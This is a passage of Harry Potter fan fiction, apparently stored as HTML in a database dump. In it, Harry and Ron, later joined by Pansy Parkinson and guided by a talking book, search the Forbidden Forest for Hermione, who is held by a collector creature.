methodical way through their early classes, now having grown \n  accustomed to the empty seat in the front row.&nbsp; Nothing has stopped, and that&#8217;s \n  what bother&#8217;s Harry the most.&nbsp; People still laugh at Neville, Draco Malfoy still \n  manages to get in his healthy dose of insults, and Quidditch is still as popular \n  as ever.</p>\n<p>He and Ron go to all of their classes faithfully,on a day when most students \n  were skipping.&nbsp; Hermione would be glad of that.&nbsp; She was always harassing them \n  to take their studies more seriously.</p>\n<p>When they reach the door to Hermione\'s room, they hover in the hallway listening \n  to see if her parents are inside.&nbsp; There is silence.&nbsp; They force themselves \n  to wait another five minutes, just in case, and then Ron delicately pushes the \n  door open.&nbsp; They peer cautiously within.&nbsp; The Grangers haven\'t arrived yet.</p>\n<p>&#8220;Do you think we should start without them?&#8221; Ron asks, looking at the empty \n  trunk next to Hermione&#8217;s desk.</p>\n<p>&#8220;No, probably not,&#8221; Harry sighs sitting on her bed. His head is pounding, thinking \n  about the morbid task ahead. &#8220;I know she&#8217;s alive Ron. I can <i>feel</i> it.&#8221;</p>\n<p>Ron kicks at the dust on the floor.&nbsp; &#8220;I want her to be alive too, but I think \n  we have to be realistic. It\'s been a long time.&#8221;</p>\n<p>&#8220;I know,&#8221; Harry says, looking over at her dresser.&nbsp; </p>\n<p>Her hairbrush.&nbsp; Some hand lotion.&nbsp; A picture of her and her parents.&nbsp; Then \n  his eyes settle on what the picture is sitting on top of.&nbsp; It&#8217;s Hermione&#8217;s copy \n  of &#8220;Hogwarts a History&#8221;, 523rd Edition.&nbsp; He moves the picture aside, \n  picking up the book.</p>\n<i>She needs me, please get me to her, she&#8217;s lost without me &#8211; </i> \n<p>Harry turns to look at Ron, who is staring at him blankly.</p>\n<p>&#8220;Did you say something?&#8221;</p>\n<p>&#8220;No, why&#8230; what is it?&#8221; Ron replies looking around the room.</p>\n<p>Harry stares at the book in his hand.&nbsp; He listens.&nbsp; Nothing.&nbsp; </p>\n<p>&#8220;I just thought maybe you said something.&#8221;</p>\n<p>Ron raises his eyebrows.&nbsp; &#8220;Don&#8217;t tell me you&#8217;re hearing voices again.&nbsp; Please \n  say your not hearing voices.&#8221;</p>\n<p>&#8220;No,&#8221; Harry says, &#8220;I guess I&#8217;m just dreading this.&#8221;</p>\n<p>Ron looks relieved, panicky thoughts of giant spiders and chamber monsters \n  now subsiding.</p>\n<p>&nbsp;&#8220;Me too,&#8221; Ron shrugs, looking around at the well organized room.</p>\n<p>They sit in silence for a few minutes.&nbsp; The Grangers were probably meeting \n  with Dumbledore first.</p>\n<p>&nbsp;&#8220;Caramel Bunny?&#8221; Ron asks, pulling two angry rabbit shaped candies out of \n  his pocket.&nbsp; &#8220;They&#8217;re annoying little buggers, but they&#8217;re fun to eat.&nbsp; You \n  just have to bite their heads off right away, or else they&#8217;ll start screaming \n  at you.&#8221;</p>\n<p>Harry smiles weakly.&nbsp; &#8220;Sure, thanks Ron,&#8221; he replies chomping down on the pissed \n  off confectionary.</p>\n<p>The door creaks open, and Mrs. Granger enters, her eyes puffy and red.&nbsp; For \n  a long moment, Harry struggles to gear down his complex thoughts about what \n  could have happened to Hermione. He tries to focus on being a friend to Hermione\'s \n  parents.&nbsp; </p>\n<p>Ron speaks first, his hands fisting up around the empty candy wrappers.&nbsp; </p>\n<p>&#8220;We haven&#8217;t given up on finding her,&#8221; Ron says, and Mrs. Granger flashes them \n  a warm smile.</p>\n<p>&#8220;We know that boys. Thank you so much for everything,&#8221; Mr. Granger says, picking \n  up the picture on the dresser.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p>Hermione always takes her dinner in the front room, the only room in which \n  he allows the windows to remain open.&nbsp; From there, she can hear the evening \n  noises: the rustling of the breeze through the trees; some small animals scrabbling \n  around in the bushes.&nbsp; She has no illusions that the mind searching capacities \n  of the things around her can be completely blocked out, but at least she can \n  feel alone, unwatched.&nbsp; </p>\n<p>She waits there.&nbsp; She tries to handle her current situation with stoic patience.&nbsp; \n  She has learned from all the years of fighting beside Harry and Ron that yielding \n  to anguish is useless.&nbsp; </p>\n<p>She can&#8217;t see very far outside.&nbsp; There are too many trees blocking her view, \n  unwilling to bend for her.&nbsp; </p>\n<p><i>He&#8217;s given you so much and you are still ungrateful</i> &#8211; an elder tree \n  scolds, reading her thoughts.</p>\n<p>She struggles to clear her head.&nbsp; This could very well be her world now, and \n  she had better learn to get along in it.&nbsp; </p>\n<p>She hears the door open, then slam shut.&nbsp; She waits.</p>\n<p>&#8220;You will be most interested in the day I&#8217;ve had today Hermione,&#8221; he says, \n  his voice ringing out, deep and over-loud as he enters the room.&nbsp; He smiles \n  his toothy smile and rests his hands on his hips.</p>\n<p>She forces her lips to curl at the edges, and satisfied with her false response, \n  he begins to tell her about his successful day of protecting his kingdom.&nbsp; His \n  black, beady eyes bear down into hers as he recounts disturbing anecdotes filled \n  with death and violence.&nbsp; He tells her these tales as if they were epic stories \n  of romance and love.&nbsp; </p>\n<p>His hands are red, stained with the blood of some unfortunate soul who wandered \n  too far into the forest that day.&nbsp; His thick, dark brown hair is in a constant \n  state of disarray, and she can barely bring herself to stare at his face too \n  long, remembering in vivid detail the night he had sucked the breath from her, \n  leaving her speechless.&nbsp; There are so many lines around his eyes that he looks \n  as if he is at least two hundred years old.&nbsp; It wouldn&#8217;t surprise her if he \n  were.</p>\n<p>Her eyes lift briefly, involuntarily, to the blood on his hands again.&nbsp; He \n  releases an unexpected peal of laughter.&nbsp; </p>\n<p>&#8220;I don&#8217;t think you are ready yet to go into the forest with me. &nbsp;You are safer \n  here.&nbsp; I can&#8217;t have that bloody Giant trying to take you from me.&#8221;</p>\n<p>He has never tried to harm her physically, or &#8230;<i>violate</i> her.&nbsp; That was \n  her biggest fear at first, but he didn&#8217;t show any interest in anything except \n  simply possessing her.&nbsp; </p>\n<p>&#8216;A useless object.&#8217;</p>\n<p>There are sighs and hisses all around the room as she thinks this.&nbsp; </p>\n<p>&#8216;My apologies, I&#8217;m just tired,&#8217; </p>\n<i>We aren&#8217;t useless, we simply aren&#8217;t- </i> \n<p>&#8216;Of course you aren&#8217;t,&#8217; she thinks, meaning it this time.</p>\n<p>His mouth twists wryly.&nbsp; &#8220;You are getting better at obeying the rules.&nbsp; If \n  you keep this up, I may allow you more privileges,&#8221; he says to her, picking \n  up one of her curls and smoothing it straight behind her ear.&nbsp; </p>\n<p>As he speaks to his prize possession, his arms twitch with the suppressed urge \n  to wring his hands around her neck.&nbsp; He doesn&#8217;t really want to hurt her; it&#8217;s \n  just an innate reaction when he is around humans.&nbsp; He is strong enough to overcome \n  this impulse.&nbsp; After all, he has killed two humans already today.</p>\n<p>Wearily, she nods and lowers her head.&nbsp; The cushy chair she is sitting in is \n  humming a happy tune.&nbsp; She is envious.&nbsp; Hermione hasn&#8217;t laughed in a long time.&nbsp; \n  She hates that she cowers before this &#8216;creature&#8217;.&nbsp; It is only the shock of seeing \n  him, she tells herself.&nbsp; </p>\n<p>&#8220;You may retire when you like, but keep the windows open.&nbsp; It&#8217;s too warm in \n  here for my liking,&#8221; he says, leaving her alone again.&nbsp; </p>\n<p>He knows that she won&#8217;t flee.&nbsp; She wouldn&#8217;t make it pass the first row of trees \n  if she did.&nbsp; </p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p>Harry awakens to the sound of something jumping around on the floor.&nbsp; </p>\n<p>Thud&#8230;Bonk.&nbsp; </p>\n<p>&#8220;Crookshanks?&#8221; he whispers, sitting up to look for the cat he and Ron had adopted \n  ever since Hermione&#8217;s disappearance.</p>\n<p class="MsoBodyText"><i>She needs me, don&#8217;t you understand?&nbsp; There is no time \n  for sleep.&nbsp; I can&#8217;t imagine what she&#8217;s doing without me&#8211; </i></p>\n<p>&#8220;Who&#8217;s there?&#8221; Harry asks.</p>\n<p>Something clinks, and then scuffs up against his bedpost.&nbsp; He reaches for his \n  glasses, blinking twice as he sees the book, the book he had asked the Granger&#8217;s \n  if he could keep.&nbsp; It wiggles and falls flat again.</p>\n<i>We need to go to her.&nbsp; I&#8217;ve waited so long&#8211; </i> \n<p>Harry looks over at Ron, who is snoring loudly on the other side of the room.</p>\n<p>&#8216;This can&#8217;t be happening,&#8217; Harry thinks.</p>\n<p class="MsoBodyText"><i>I&#8217;m choosing to speak to you, even though it means I&#8217;m \n  an outlaw now, and I will probably be banished- </i></p>\n<p>He hadn&#8217;t said anything, but the book had heard him.&nbsp; He \n  picks it up and it feels just like any other book, cold and lifeless.&nbsp; </p>\n<p class="MsoBodyText">&#8216;Do you know where Hermione \n  is?&#8217; </p>\n<p>Then the book trembles and its pages open to the section \n  on the Forbidden Forest.&nbsp; </p>\n<p class="MsoBodyText"><i>She has been collected- </i></p>\n<p class="MsoBodyText">&#8220;What?&#8221; he says out loud.</p>\n<p>Ron stirs a little, groaning.&nbsp; &#8220;What&#8217;s going on, Harry?&#8221; he mumbles.</p>\n<p>&#8220;I&#8217;m not sure Ron, but could you look at something for a \n  minute.&nbsp; I think it might be important.&#8221;</p>\n<p>Ron groans again.&nbsp; &#8220;Christ Harry!&nbsp; It\'s three o\'clock in the morning, what can \n  be that important?&#8221;</p>\n<p class="MsoBodyText">&#8220;It might be about Hermione.&#8221;</p>\n<p>Ron grows quiet and sits up, rubbing the sleep from his eyes.&nbsp; His hair is sticking \n  straight up from the center, and if Harry wasn&#8217;t still in shock from what the \n  book had just told him, he would be laughing.</p>\n<p class="MsoBodyText"><i>Collected, he collects things&#8230;page 1,302 &#8211; </i></p>\n<p class="MsoBodyText">&#8220;Did you hear that?&#8221; Harry \n  asks Ron.</p>\n<p class="MsoBodyText">Ron glares at Harry.</p>\n<p>&#8220;You lied to me!&nbsp; I knew you were hearing voices again!&nbsp; \n  I can&#8217;t believe-&#8221;</p>\n<p>&#8220;Shhhhhhh&#8230;..&#8221; Harry whispers, hearing it again.&nbsp; The book \n  jumps, and slams into the bedpost again.</p>\n<p class="MsoBodyText">&#8220;Did you just do that?&#8221; Ron \n  says eyeing the book suspiciously.</p>\n<p class="MsoBodyText"><i>Pick me up, pick me up - </i></p>\n<p>&#8220;No, it did it on it&#8217;s own.&nbsp; It&#8217;s talking to me.&#8221;</p>\n<p>Ron flops back onto his bed.&nbsp; &#8220;Your crazy, do you know that?&#8221;</p>\n<p class="MsoBodyText">Harry stands and picks up \n  the book.</p>\n<p class="MsoBodyText">&#8216;Where is she?&#8217; he says silently.</p>\n<p class="MsoBodyText"><i>In the center of the forest, where only he dwells, not \n  quite a myth, not quite a man, but real &#8211; </i></p>\n<p class="MsoBodyText">&#8216;We have to find her,&#8217; Harry \n  thinks.</p>\n<p class="MsoBodyText">Harry lays the book down \n  on his bed and walks over to Ron, flicking on the lamp.</p>\n<p>&#8220;Ron, I think she&#8217;s in the forest somewhere.&nbsp; I think that maybe she&#8217;s been kidnapped.&#8221;</p>\n<p>Ron shakes his head.&nbsp; &#8220;What?&nbsp;Dumbledore has had Hagrid scour the forest \n  inch by inch.&#8221;</p>\n<p class="MsoBodyText">&#8220;Not beyond the swamp.&#8221;</p>\n<p>Ron sighs.&nbsp; &#8220;No one goes beyond the swamp, not even Hagrid&#8230;not \n  even Dumbledore himself goes there.&nbsp; Only the occasional Muggle is foolish enough \n  to wander in there.&#8221;</p>\n<p class="MsoBodyText">&#8220;I think that&#8217;s where she \n  is.&#8221;</p>\n<p>Ron recognizes the serious tone of Harry&#8217;s voice.&nbsp; His jaw drops.&nbsp; &#8220;Your not \n  kidding are you? You really think this book is talking to you?&nbsp; On it&#8217;s own?&nbsp; \n  A stupid book?&#8221;</p>\n<p class="MsoBodyText">&#8220;Yes, I promise I&#8217;ll explain \n  more tomorrow but I want you to come with me.&#8221;</p>\n<p>Harry looks at the floor.&nbsp; &#8220;I understand if you won&#8217;t.&#8221;</p>\n<p>Ron lays down again, growling.&nbsp; </p>\n<p>&#8220;Why the hell not? I&#8217;m destined to die with you anyway.&nbsp; I think even Mum and \n  Dad have accepted that fact.&#8221;</p>\n<p>Harry smiles and flicks off the lamp.&nbsp; He goes back to his own bed pulling open \n  the window shade just enough to filter in some moonlight.&nbsp; He picks up the book \n  again.</p>\n<p class="MsoBodyText">&#8216;I hope this is real,&#8217; Harry \n  thinks.</p>\n<p class="MsoBodyText"><i>I&#8217;m an outlaw now, so many rules broken, but I love her. \n  I&#8217;d die for her.&nbsp; She loves us &#8211; </i></p>\n<p>The books pages flutter again, and it stops at a section about Quidditch.&nbsp; \n  There is a doodle at the top right corner.&nbsp; It\'s a pencil-traced heart, with \n  <i>HARRY</i> scribbled in the middle.&nbsp; </p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n\n'),
	(220, 3, '\n<p><b><u>Hush </u></b>by <b>msscribe </b>&nbsp;</p>\n<p class="MsoBodyText">Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers.</p>\n<p><b><u>Chapter 2</u> &#8211; Into the Woods</b></p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p class="MsoBodyText2">The forest makes noises, stirrings, and sometimes \n  they can hear sounds echoing from far away.&nbsp; It will sound like a small cry \n  or a soft booming, things not heard on Hogwarts grounds.&nbsp; They do not know what \n  is making these voices, if it is just the wind and water, or some creature patiently \n  waiting to be stumbled upon.</p>\n<p>They have been walking for nearly three hours, but the usual \n  nervousness is still there.&nbsp; It&#8217;s always there.&nbsp; The weather is brisk, but calm \n  enough, and at this rate they might actually make it to the swamp by sundown.&nbsp; \n  </p>\n<p>The book under Harry&#8217;s arm starts wiggling around.&nbsp; Ron casts \n  a bewildered glance at Harry.</p>\n<p>&#8220;What&#8217;s it saying?&#8221; Ron asks.</p>\n\n<i>Don&#8217;t take the worn path! Too many tragedies there &#8211; </i> \n<p class="MsoBodyText2">Harry points towards a thick row of trees.&nbsp; \n  &#8220;It says we should not stay on the path, we can cut through there.&#8221;</p>\n<p>Ron shakes his head. &#8220;Of course that&#8217;s what it says.&nbsp; After \n  all, who&#8217;d want to do this the easy way?&nbsp; I hope Hermione appreciates this if \n  we ever find her.&#8221;</p>\n<p>They move forward, making their own trail for a while.&nbsp; A tiny \n  gray mouse bobs forward, then runs under a bush. Harry takes a step backwards, \n  startled for a few seconds.</p>\n<p>&#8220;So far so good...nothing we can&#8217;t handle,&#8221; Harry says, all \n  the while realizing how lethally unprepared for this journey they both are.</p>\n<p>Ron understands that they absolutely <i>have</i> to do this.&nbsp; \n  They have to find her.&nbsp; Hermione would do the same for either of them.</p>\n<p>Ron holds his hand out, wrist up.&nbsp; &#8220;Do you feel that?&#8221;</p>\n<p>Harry shakes his head no at first, but then a droplet of water \n  lands on his nose.&nbsp; </p>\n<p>&#8220;We&#8217;d better find shelter,&#8221; Ron says pointing to their right, \n  &#8220;That group of trees over there.&#8221;</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p class="MsoBodyText2">The skillet cooks Hermione a lunch of corn \n  cakes and berries. &nbsp;She watches as the steam from her plate rises up into nothing.</p>\n<p><i>Don&#8217;t let all my hard work go to waste by waiting until it&#8217;s \n  cold &#8211; </i></p>\n<p class="MsoBodyText2">&#8216;Sorry,&#8217; Hermione \n  thinks, scooping a berry into her mouth, &#8216;it&#8217;s wonderful&#8217;.</p>\n<p class="MsoBodyText2">The night before, she had to will herself \n  to sleep.&nbsp; This morning, she will have to will herself stay awake.</p>\n<p class="MsoBodyText2"><i>He&#8217;s gone \n  to meet the Giant today &#8211; </i>the kitchen \n  door whispers to her &#8211;<i> better be obedient - </i></p>\n<p class="MsoBodyText2">Her thoughts \n  are elsewhere.</p>\n<i>She&#8217;s thinking about the dark haired boy again &#8211; </i>chair giggles- <i>she \nthinks about him a lot - </i> \n<p class="MsoBodyText2">Hermione stuffs the corn cake into her mouth, \n  forcing it down with one dry gulp.&nbsp; The kitchen is cold again this morning.&nbsp; \n  The clock in the hall chimes eight am.&nbsp; One hundred and four days now.&nbsp; Harry \n  and Ron must certainly think she&#8217;s dead.&nbsp; </p>\n<p class="MsoBodyText2"><i>You&#8217;d better \n  hope he doesn&#8217;t trade you &#8211;</i>window \n  sneers &#8211; <i>he just might you know &#8211;</i> </p>\n<p class="MsoBodyText2">Even though the air in there is frigid, she&#8217;s \n  glad the window slides up and down of it&#8217;s own accord whenever it chooses to \n  speak.&nbsp; It gives her a chance to hear the birds outside.&nbsp; Her corn cakes are \n  coated with a fine powdered sugar.</p>\n<p class="MsoBodyText2"><i>She likes \n  things sweet </i>- plate explains - <i>and sugar bowl doesn&#8217;t get much \n  use-</i></p>\n<p class="MsoBodyText2">She wonders if she&#8217;s read all of the books \n  in his small library.&nbsp; She can&#8217;t imagine he&#8217;s ever read them, because they are \n  so neatly lined up and on display.&nbsp; Just another part of his collection.&nbsp; </p>\n<p class="MsoBodyText2"><i>Should \n  we tell her about the room? </i>&#8211; a new \n  voice says anxiously &#8211;<i> she seems so very nice &#8211; </i></p>\n<p class="MsoBodyText2"><i>Shhhhhh-</i> many voices cry out &#8211; <i>quiet now! -</i> </p>\n<p class="MsoBodyText2">Hermione is still.&nbsp; She looks around to see \n  where the voice is coming from.&nbsp; It&#8217;s something she hasn&#8217;t heard before.&nbsp; It&#8217;s \n  his belt lying over a chair.&nbsp; He had forgotten to put it on.</p>\n<p class="MsoBodyText2">&#8216;What room?&#8217; she thinks.&nbsp; The belt shakes \n  nervously.</p>\n<p class="MsoBodyText2"><i>Master \n  Edred prefers to keep it secret! </i>- \n  table scolds- <i>he will punish you if you seek it out-</i> </p>\n<p class="MsoBodyText2">&#8216;Tell me.&#8217;</p>\n<p class="MsoBodyText2">The belt doesn&#8217;t have much willpower.&nbsp; It&#8217;s \n  only a belt after all.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p>Ron picks the two fattest, squishiest &#8216;fuzzy&#8217; fruits from the \n  row of bushes nearest to them, and hands one to Harry.&nbsp; The rain never amounted \n  to more than a brief sun shower, but they had decided to stay put for a few \n  minutes to rest and go over their plan &#8211; or lack thereof.&nbsp; The fruit tastes \n  heavenly, and Harry is grateful they had both paid attention in Professor Sprout&#8217;s \n  class that semester.&nbsp; </p>\n<p>&#8220;God, I really needed that,&#8221; Ron says, licking his fingers clean \n  of the sweet syrupy juice.</p>\n<p>There is a scrambling noise a few feet behind them, and both \n  of them stand with their wands ready.</p>\n<p>&#8220;What the hell was that?&#8221; Harry says, looking all around.</p>\n<p>Then he hears a continuous squeal that makes his teeth ache.&nbsp; \n  It&#8217;s a hideous noise, like an animal being tortured.</p>\n<p>&#8220;Look up there!&#8221; Ron says, pointing towards an oak tree a few \n  feet behind them.&nbsp; Something is struggling to free itself from a patch of prickly \n  vines writhing around it, covering almost every inch of it&#8217;s body.&nbsp; </p>\n<p>They move cautiously closer, wands pointed.&nbsp; They can almost \n  make out what the creature is.&nbsp; It&#8217;s upper lip is rising and falling in a disgruntled \n  snarl and the barely visible eyes are moving from Harry to Ron, and then to \n  Harry again.</p>\n<p>The sunlight is causing a glare in Harry&#8217;s glasses, and he squints \n  to try to see what it is.&nbsp; Ron grumbles.</p>\n<p>&#8220;Great, just great!&#8221; Ron says aloud.</p>\n<p>&#8220;Can you tell what it is yet?&#8221; Harry says.</p>\n<p>Ron groans, pointing his wand at the vine.</p>\n<p>&#8220;<i>Disintigris plantus</i>,&#8221; Ron says.</p>\n<p>The vine screams and crumbles into dust.&nbsp; The girl is propelled \n  forward like a slingshot, her hands and knees scuffing against the dirt, still \n  screeching.&nbsp; She stares up at them through her tousled hair, momentarily dazed.</p>\n<p>&#8220;It&#8217;s hideous,&#8221; Ron scoffs.</p>\n<p>Pansy Parkinson stands and brushes herself off. &#8220;You are not \n  even beneath my contempt Ronald Weasley.&#8221;</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p>The belt leads Hermione to a locked door on the third floor \n  of the house.&nbsp; She had always assumed it was a closet, never having seen him \n  open it.</p>\n<p>&#8216;Please open, I just want to see what&#8217;s inside, I promise not \n  to get you in trouble.&#8217;</p>\n<p>She waits.&nbsp; She has never spoken to this door before.&nbsp; </p>\n<p><i>You promise</i> &#8211; it asks &#8211;<i> you won&#8217;t harm anything? &#8211; \n  </i></p>\n<p>&#8216;I swear.&#8217; </p>\n<p>The doorknob turns slowly, and the door creaks open.&nbsp; Hermione \n  quietly enters. The pine boards are cold on her bare feet as she moves across \n  the room.&nbsp; The space is dark, but there is a patch of light silhouetting a tall \n  wooden box in the middle of the floor.&nbsp; </p>\n<p>&#8216;What is it?&nbsp; It looks so plain.&#8217;</p>\n<p><i>I&#8217;m not plain.&nbsp; It&#8217;s where he keeps his sight-</i></p>\n<p>She reaches out to touch it.&nbsp; </p>\n<p>&#8216;May I look inside?&#8217; she thinks to the box.</p>\n<p>The box opens up to her.&nbsp; It is filled with tiny blue vials.</p>\n<p>&#8216;I don&#8217;t understand?&#8217;</p>\n<p>She picks one up.&nbsp; </p>\n<i>We let you see &#8211; </i> \n<p>The blue vial starts to heat up.&nbsp; It disintegrates in her hand.&nbsp; \n  Something tugs at her soul as a force overtakes her body.&nbsp; </p>\n<p>Liquid drips from her forehead, and suddenly she can see the \n  Forbidden Forest.</p>\n<p>Her heart beats faster and her palms grow sweaty.</p>\n<p>She can see Harry.&nbsp; Harry is in the forest.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p class="MsoBodyText2">&#8220;Why were \n  you following us Parkinson?&#8221; Harry says, glaring at her suspiciously, &#8220;Is anyone \n  else with you?&#8221;</p>\n<p>Pansy lifts her nose into the air, haughtily pursing her lips \n  together in a defiant sneer.</p>\n<p>&#8220;Awfully suspicious aren&#8217;t you? I am a very big girl Potter, \n  and if I want to take a walk in the woods unsupervised, I certainly can.&#8221;</p>\n<p>Ron turns to see Harry&#8217;s reaction.&nbsp; His hands are balled up \n  at his side.&nbsp; &#8220;No one goes for a walk in the Forbidden Forest, not as far out \n  as we are now.&nbsp;&nbsp; So why don&#8217;t you save your breath and tell us why you&#8217;re here.&nbsp; \n  Are you collecting ingredients for dark magic, looking for something more terrifying \n  than yourself perhaps?&nbsp; Go on, I&#8217;ll try to be open minded!&#8221; he says sarcastically.</p>\n<p>Pansy folds her arms across her chest and narrows her eyes at \n  Ron.&nbsp; &#8220;Open minded eh?&nbsp; Is that how your brain slipped out?&#8221;</p>\n<p>Ron points his wand at her.&nbsp; &#8220;I swear, I should have let her \n  get eaten by that plant!&#8221;</p>\n<p>Harry looks around to be sure no one else is there.&nbsp; </p>\n<p>&#8220;Well&#8230;you either tell us and we&#8217;ll let you stay with us, or \n  you can try to make it back to Hogwarts before dark, although I hate to think \n  of what will happen to you if you don&#8217;t make it back in time,&#8221; Harry says.</p>\n<p>Pansy can well imagine what her fate will be.</p>\n<p>&#8220;Fine.&nbsp; I was following you.&nbsp; I saw you and Ron sneak out this \n  morning and I thought I&#8217;d find out what you two were plotting.&nbsp; I didn&#8217;t pay \n  attention to the time and I became afraid of getting lost so I stayed close.&nbsp; \n  Happy?&#8221;</p>\n<p>Ron lowers his wand.&nbsp;&nbsp; Pansy bends to pick hers out of the grass.</p>\n<p>&#8220;Planning to report back to Malfoy were you?&#8221;</p>\n<p>&#8220;I would say that you aren&#8217;t a complete idiot, but what&#8217;s my \n  opinion compared to that of the rest of the world,&#8221; she snaps.</p>\n<p>Ron shakes his head angrily, turning a bright shade of red.&nbsp; \n  &#8220;No way Harry!&nbsp; No way am I putting up with her!&#8221;</p>\n<p>She swings her hair and smirks at them.&nbsp; Harry leans in close \n  to Ron.</p>\n<p>&#8220;We can&#8217;t leave her here alone Ron.&#8221;</p>\n<p>&#8220;Why the Hell not?&nbsp; She&#8217;s scarier than anything I&#8217;ve seen here \n  so far today!&#8221;</p>\n<p>Harry shrugs.&nbsp; &#8220;Look, we&#8217;ve got to focus on saving Hermione.&nbsp; \n  Just try turning the other cheek for once.&#8221;</p>\n<p class="MsoBodyText2">Pansy walks over and picks a &#8216;fuzzy&#8217; fruit \n  from the nearby bush.&nbsp; She bites into it, slurping rudely.</p>\n<p>&#8220;I don&#8217;t need him to turn the other cheek Harry, it&#8217;s just as \n  ugly.&#8221;</p>\n<p class="MsoBodyText2">&#8220;Why you ungrateful \n  little - &#8221; Ron starts.</p>\n<p>Harry turns and starts walking without them.&nbsp; They both freeze \n  and watch him for a few seconds, confused at his sudden departure.&nbsp; Harry stops \n  and turns.</p>\n<p>&#8220;Well... are you coming?&nbsp; We&#8217;ve only got two hours left of daylight \n  and we still need to find a place to sleep.&#8221;</p>\n<p>Ron walks first.&nbsp; Pansy waits, thinking over her choices again, \n  and then follows.</p>\n<p>&#8220;Moron,&#8221; she says to Ron as she catches up with them.</p>\n<p>&#8220;Tart.&#8221;</p>\n<p>Pansy growls and keeps walking, &#8220;Bloody vines left tiny holes \n  all over my perfect skin!&#8221;</p>\n<p>Harry rolls his eyes and Ron snorts.&nbsp; </p>\n<p>&#8220;What do you want us to do about it?&#8221; Harry asks.</p>\n<p>&#8220;Nothing, I&#8217;ve just been used as some plant\'s pin cushion <i>is \n  all</i>!&nbsp; Perhaps you could slow down a bit.&#8221;</p>\n<p>Ron laughs, &#8220;You should be used to it Pansy, being as you&#8217;ve \n  had more pricks in you than a secondhand dartboard.&#8221;</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p><i>He&#8217;s early - </i>front door says-<i> he&#8217;s early today-</i></p>\n<p>Hermione&#8217;s whole body becomes instantly numb, and she feels \n  a second or two of hideous paralysis. She hopes she has left everything in the \n  room as it was before.&nbsp; She hopes he doesn&#8217;t notice one of his vials is gone.&nbsp; \n  The belt assured her earlier that he never counts those.&nbsp; He&#8217;s always getting \n  more.</p>\n<p><i>He&#8217;s brought her gifts!&nbsp; </i>&#8211; a tree outside the door says \n  - <i>He should give her nothing if you ask me, it&#8217;s a good thing he can&#8217;t hear \n  us or else I\'d tell on the little ingrate- </i></p>\n<p>The shock of seeing him always makes her want to scream.&nbsp; This \n  feeling tears at her mute throat, and sometimes she lets her body go through \n  the motions just for the release.&nbsp; </p>\n<p>She stands as he enters the room.&nbsp; The look on his face is unmistakable.&nbsp; \n  Hermione can sense that his day has been unsuccessful.&nbsp; </p>\n<p>He sets down his large wooden club and moves towards a collection \n  of glass spheres lying on the middle shelf.&nbsp; He picks one up and raises it to \n  his face, examining the colorful ball of sparks inside.&nbsp; It is a collection \n  of living light.&nbsp; It&#8217;s beautiful to watch as it struggles to free itself.&nbsp; He \n  thinks that everything is beautiful when it struggles.&nbsp; </p>\n<p>It has taken him months to collect them, and they always give \n  him a sense of satisfaction.&nbsp; It is nothing compared to the satisfaction he \n  gets from her.&nbsp; </p>\n<p>He reaches into his pocket and pulls out a wrapped brown package.&nbsp; \n  He hands it to Hermione.</p>\n<p>&#8220;Unwrap it, then be grateful I could find these.&#8221;</p>\n<p>She does as he says, revealing some articles of clothing.&nbsp; <i>Female \n  undergarments.</i>&nbsp; She manages a smile and he grunts. &nbsp;</p>\n<p>&#8220;One man escaped me today,&#8221; he says angrily, &#8220;but he&#8217;ll most \n  likely not survive the night.&#8221; </p>\n<p class="MsoBodyText2">He watches her modestly hide her new things \n  behind her back.&nbsp; In the thicket, he ran into an old ally who offered him a \n  valuable sight crystal for trade, but there is no price, not one that anyone \n  could afford anyhow, that would make him trade her away.&nbsp; </p>\n<p>He had expected to become bored with her, like his other possessions, \n  but she was a complicated creature.&nbsp; He had never really spent any time with \n  a human before, and he found the way she chose to live fascinating.&nbsp; Most creatures \n  he collected had begged him for all that he would allow, but she never did.&nbsp; \n  She always took the least food; never provoked him to strike her. </p>\n<p>Her smiles are forced, and he hates that, but he doesn&#8217;t really \n  care all that much.&nbsp; She is voiceless; she is a prize.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p>The winds drop low as the clouds dissolve into the darkness.&nbsp; \n  They are sitting in a small cave only a few feet from the edge of the swamp.&nbsp; \n  Harry&#8217;s eyelids feel like they are being weighted down, but it&#8217;s his turn to \n  keep watch.&nbsp; </p>\n<p>Even Hermione&#8217;s book has stopped rambling to him.</p>\n<p>Harry thinks he can make out someone walking in the distance.&nbsp; \n  It could be anything.&nbsp; At least they are beyond the realm of the spiders, and \n  shielded by the lack of moonlight tonight.&nbsp; </p>\n<p>Ron&#8217;s sleep is now very deep.&nbsp; Pansy still stirs occasionally.&nbsp; \n  To her credit, she was fairly quiet the last hour of their walk.&nbsp; They were \n  all tired, and they still had at least two days journey to go until they reach \n  the center of the forest, where the map said Hermione had been taken.&nbsp; </p>\n<p>Harry wishes they could just apparate, but you couldn&#8217;t do that \n  in the Forbidden Forest.&nbsp; He is anxious to see her.&nbsp; </p>\n<p>Harry glimpses something.&nbsp; It&#8217;s only a pixie.&nbsp; It doesn&#8217;t pay \n  him any mind.&nbsp; The trees are still.&nbsp; Everything is perfectly still.&nbsp;&nbsp; It was \n  luck that they found this cave when they did.&nbsp; The night had grown slightly \n  chilly, and making a fire would have called too much attention to themselves.&nbsp; \n  They had to settle for a small warming spell instead.&nbsp; </p>\n<p>So far, they have only come across a couple of pixies, and a \n  mountain troll they avoided crossing paths with.&nbsp; Besides Pansy &#8216;dropping&#8217; in \n  on them, everything is going well.&nbsp; </p>\n<p>Harry lets his eyes shut for just a second, thinking about what \n  the book had shown him the night before.&nbsp; So many times he wondered if what \n  he felt for Hermione, she felt in kind.&nbsp; Then there it was, all the proof that \n  he needed scratched out in pencil; his name written in her neat little script.&nbsp; \n  </p>\n<p>He hears a woman&#8217;s voice singing.&nbsp; It is high and sweet, like \n  a lullaby.&nbsp; He opens his eyes and sees nothing.&nbsp; </p>\n<p>Leaves are rustling now, a slight breeze starting to pick up.&nbsp; \n  He will find her.&nbsp; He will save her, or die trying.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p><i>Wishful thinking 